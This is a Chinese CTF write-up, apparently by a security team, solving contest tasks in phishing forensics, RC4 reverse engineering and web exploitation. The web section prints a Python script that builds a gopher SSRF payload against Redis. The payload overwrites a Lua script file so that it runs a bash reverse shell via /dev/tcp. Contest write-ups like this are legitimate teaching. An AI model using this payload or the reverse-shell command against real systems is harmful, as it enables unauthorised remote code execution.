钓鱼邮件
给了一个压缩包,解压发现邮件
打开将生日礼物保存发现存在密码
我们看邮件日期为2024/11/10日晚上23.54
推测生日为11.11
出生年为2024-24 是2000年
20001111
密码正确解压
发现一个exe文件
我们直接扔到安恒云沙箱里发现得到了ip和端口
222.218.218.218 |
55555 |
df3101212c55ea8c417ad799cfc6b509得到flag
donntyousee
这题只能看汇编,幸好还能动调
这里是输入
全输入a过一下
这里传了个key和一个空数组去生成Sbox,需要注意的是调试起来的key和静态的key不一样,应该是有反调试,步入看看这个r8
Retn花指令,去掉就能看见伪代码
很标准的S盒生成这里我们直接步出,看下一个call r8
还是retn花指令
很明显就多异或了一个0x23
接下来我们需要去找密文
我去交叉引用了这个rc4发现他下面的一个函数类似check
点进去看,去一下花就能看见密文了
在这里打个断点提取一下密文然后去解密
然后去拿key
下载题目附件进行审计,审计代码逻辑如下图
然后执行进行了模板匹配:模板为:
##LUA_START##
##LUA_end##
中间为lua脚本代码
又审计script下的脚本发现是ssrf漏洞于是使用gpoher协议
在main.lua下是去读取这个文件于是,解题思路为覆盖该文件,让main读取执行,反弹shell
参考网上gpoher协议生成代码
import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="""
##LUA_START##
os.execute("bash -c 'sh -i &>/dev/tcp/ip/port 0>&1'")
##LUA_END##
"""
filename="visit.script"
path="/scripts"
#如果无密码就不加,如果有密码就加
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
SSRF---gopher和dict打redis_gopher dict协议攻击redis-CSDN博客
在python执行生成payload剩下梭哈
注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
ZeroPointZero安全团队纳新群1:553624735
有兴趣的师傅欢迎一起来讨论!
团队纳新简历投递邮箱:[email protected]
原文始发于微信公众号(ZeroPointZero安全团队):第十八届全国高校大学生软件创新大赛--软件安全赛部分wp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论